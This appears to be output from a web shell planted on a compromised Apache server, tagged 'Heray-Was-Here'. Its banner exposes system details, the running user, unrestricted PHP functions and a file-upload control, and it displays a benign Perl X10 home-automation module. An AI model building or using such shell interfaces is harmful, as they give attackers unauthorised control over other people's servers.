Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/share/perl5/vendor_perl/X10/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/perl5/vendor_perl/X10/Device.pm
# Copyright (c) 1999-2017 Rob Fugina <robf@fugina.com>
# Distributed under the terms of the GNU Public License, Version 3.0

package X10::Device;

sub new
{
   my $type = shift;

   my $self = bless { @_ }, $type;

   $self->{house_code} = $self->{controller}->{house_code} unless $self->{house_code};

   return $self;
}


### manipulating the device:

sub on
{
   my $self = shift;
   return 0 unless $self->{controller};
   $self->{controller}->on($self);
}

sub off
{
   my $self = shift;
   return 0 unless $self->{controller};
   $self->{controller}->off($self);
}

sub dim
{
   my $self = shift;
   return 0 unless $self->{controller};
   $self->{controller}->dim($self);
}

sub bright
{
   my $self = shift;
   return 0 unless $self->{controller};
   $self->{controller}->bright($self);
}

### access methods

sub house_code
{
   my $self = shift;
   return $self->{house_code};
}

sub unit_code
{
   my $self = shift;
   return $self->{unit_code};
}

sub address
{
   my $self = shift;
   return sprintf("%s%02s", $self->house_code, $self->unit_code);
}

1;


Hry